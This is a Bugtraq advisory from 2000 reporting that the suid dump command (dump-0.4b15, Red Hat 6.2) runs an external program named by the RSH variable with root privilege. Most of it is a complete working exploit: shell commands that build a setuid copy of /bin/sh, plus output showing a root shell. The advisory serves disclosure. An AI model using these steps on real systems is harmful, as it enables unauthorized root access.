Bugtraq: Redhat 6.2 dump command executes external program with suid priviledge.

[JW Oh <mat () IVNTECH COM>]

1. Problem:
 Linux dump command executes external program with suid priviledge.
2. Tested Version
 dump-0.4b15
3. Example
 [mat () localhost mat]$ export TAPE=garbage:garbage
[mat () localhost mat]$ export RSH=/home/mat/execute_this
[mat () localhost mat]$ cat > /home/mat/execute_this
#!/bin/sh
cp /bin/sh /home/mat/sh
chmod 4755 /home/mat/sh
[mat () localhost mat]$ chmod 755 /home/mat/execute_this
[mat () localhost mat]$ /sbin/dump -0 /
  DUMP: Connection to garbage established.
  DUMP: Date of this level 0 dump: Tue Oct 31 14:38:00 2000
  DUMP: Date of last level 0 dump: the epoch
  DUMP: Dumping /dev/hda2 (/) to garbage on host garbage
  DUMP: Label: none
/dev/hda2: Permission denied while opening filesystem
 [mat () localhost mat]$ ls -la /home/mat/sh
 -rwsr-xr-x    1 root     tty        316848 Oct 31 14:38 /home/mat/sh
 [mat () localhost mat]$ /home/mat/sh
 bash# id
 uid=500(mat) gid=500(mat) euid=0(root) groups=500(mat)
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|               mat () hacksware com               |
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